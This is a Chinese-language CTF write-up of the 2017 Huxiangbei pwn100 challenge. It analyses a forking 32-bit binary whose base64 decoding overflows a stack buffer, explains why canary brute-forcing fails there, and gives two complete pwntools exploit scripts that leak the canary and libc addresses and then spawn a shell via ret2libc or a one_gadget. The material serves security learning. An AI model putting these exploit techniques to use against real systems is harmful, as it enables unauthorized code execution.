0%

canary爆破未遂+数据接收技巧

今天遇到一个题目,有canary并且在循环中用fork生成子进程,当时想都没有想就开始canary爆破,仔细分析代码后才发现出题人的阴险,先用fork引诱我进行canary爆破,等我把爆破脚本写好了再搞我一手,我现在真的怀疑这人是学社工的

通过学习其他大佬的WP,我了解到了一种新的接受数据的方式

这种方式在程序使用“printf”进行输出的时候还挺好用的


canary爆破未遂+数据接收技巧

1641288175862

循环输入

1641287256715

1641287265290

32位,dynamically,开了NX,开了canary

1641288063874

1641288075846

1641288084647

代码分析

getchar接受到“Y”后程序继续执行,然后getchar接收“Y”之后的字符(防止溢出)

fork函数执行以后,程序就把它自己复制了一遍,并且优先执行新进程

1
2
3
1)在父进程中,fork返回新创建子进程的进程ID
2)在子进程中,fork返回0
3)如果出现错误,fork返回一个负值

也就是说,返回“0”的子进程会进入函数“sub_8048B29”,而父进程不会

父进程会进行循环,源源不断地产生子进程

参考:fork()函数详解

1641289340337

子进程会触发函数“read”,输入“0x200”字节到“malloc”分配的空间“buf”

1641289574670

for循环会一直增加“i”的值,直到条件成立,然后“buf[i]”会被赋值为“0”

并且“i”必须为“4”的倍数(包括“0”)

1
2
3
for i in range(100):
data = i & 3
print(data)

把“buf”赋值给“dest”后返回“1”,后面就是一个算法,通过一系列的位移操作使四个变成三个字符

​ // 其实就是base64加密

入侵思路

1641290228902

1641291871253

“buf”和“dest”都在堆中,那么溢出点在那里呢?

1641292428016

1641292662924

程序把“dest”进行加密,赋值给“v21”了

“dest”可以装“0x200”字节,而“v21”只能装“258”字节,计算得溢出了

1
0x200 * 3 / 4 = 384 > 269 #在IDA上看的偏移  

接下来就是考虑泄露Canary

一般程序涉及到“进程”和“线程”的时候,就会出现两种对应的canary绕过手段,前者为“canary爆破”,后者为“覆盖TLS”,这里使用前者

因为函数“fork”产生的字进程完全克隆父进程,canary也一样,所以这里可以采用canary爆破的方式,一字节一字节爆破canary

1
2
3
4
5
6
7
for j in range(3): #32位为‘3’,64位为‘7’
for i in range(0x100):
p.send( padding + canary + chr(i)) #从0~0xFF,依次注入
a = p.recvuntil('xxxx')
if 'xxxx' in a:
canary += chr(i)
break

重点就是这个“xxxx”写什么,程序的输出就只有这3种情况:

1.子进程正常结束:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

1233
Result is:�m�
Finish!

May be I can know if you give me some data[Y/N]

2.子进程触发canary:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Result is:m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�ۻ��4
*** stack smashing detected ***: terminated

May be I can know if you give me some data[Y/N]

3.子进程报错:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Something is wrong


May be I can know if you give me some data[Y/N]

总结归纳一下:

接收字符串中有“Finish”:当前字符串正确

接收字符串中有“wrong”:程序长度不对

不管canary是否正确,只要长度不对,程序就会输出一样的东西,这一点完美卡死了canary爆破,后来发现canary可以用“覆盖低字节的方式”打印出来(”\n”覆盖”\x00”,这里是printf,所以不覆盖也可以)

​ // 原本想用新学的canary爆破练练手,没想到被出题人制裁了

这采用常规接收数据的方式:(直接计算)

1
2
3
4
5
6
7
p.recvuntil("Give me some datas:\n") #这里必须加"\n"
payload=b'a'*int(258*4/3)
p.sendine(payload)
p.recvline() #接收了'\n'('\n'用printf打印出来的时候占一整排,用recvline接收正好)
canary =p.recv()[268:271] #len('Result is:')+258,接收3字节(没有"\x00")
canary="\x00"+canary
print("canary >> " +canary)

还有一种更骚的操作:

1
2
3
4
5
6
7
p.recvuntil("Give me some datas:") #这里可以不加"\n"
payload= base64.b64encode('A'*258)
p.sendline(payload)
print(p.recv()) #输出接收到的数据
recv= p.recv()
canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9]
print("canary >> " +canary) #rfind()返回字符串最后一次出现的位置

我目前还不能理解这种收集数据的方式,但是它看起来还挺实用的,以后再研究

本题是给了libc库的,所以这么打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import * 
import binascii
import base64
p=process('./pwns')
libc= ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('./pwns')
context(arch='i386',os='linux')

setbuf_got= elf.got['setbuf']
puts_plt = elf.plt['puts']

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:\n") #注意:这里要多收集一个"\n"
payload=b'a'*int(258*4/3)
p.sendline(payload)
p.recvline()
canary =p.recv()[268:271]
canary="\x00"+canary
print("canary >> " +canary)

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:")
payload = base64.b64encode('A'*257+canary+'A'*12+p32(puts_plt)+'A'*4+p32(setbuf_got))
#程序用base64对输入值进行了加密,所以这里需要进行解密
p.sendline(payload)
print p.recv()
recv= p.recv()
print recv
setbuf_addr = u32(recv[recv.rfind('AAAAAA')+7:recv.rfind('AAAAAA')+11])
print("setbuf_addr >> "+str(setbuf_addr))

system_offset=libc.symbols["system"]
setbuf_offset=libc.symbols["setbuf"]
system_addr=setbuf_addr+system_offset-setbuf_offset

binsh_offset=0x192352
#strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" (直接输出16进制)
binsh_addr = setbuf_addr+binsh_offset-setbuf_offset

p.recvuntil("May be I can know if you give me some data[Y/N]")
p.sendline('Y')
p.recvuntil("Give me some datas:")
payload = base64.b64encode('A'*257+canary+'A'*12+p32(system_addr)+'A'*4+p32(binsh_addr))
p.sendline(payload)

p.interactive()

网上还有一个更nb的,自己找libc版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import base64
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048B09'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)

local_MAGIC = 0x0003AC69

io = process('/home/h11p/hackme/huxiangbei/pwns')

payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))

payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351] #直接开gdb看出来的
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)

MAGIC_addr=local_MAGIC+base_libc #这个MAGIC是one_gadget
payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))

io.interactive()
io.close()

我和他的版本不同,我打不通也看不懂,以后再学

地址:2017湖湘杯pwn100的wp - JavaShuo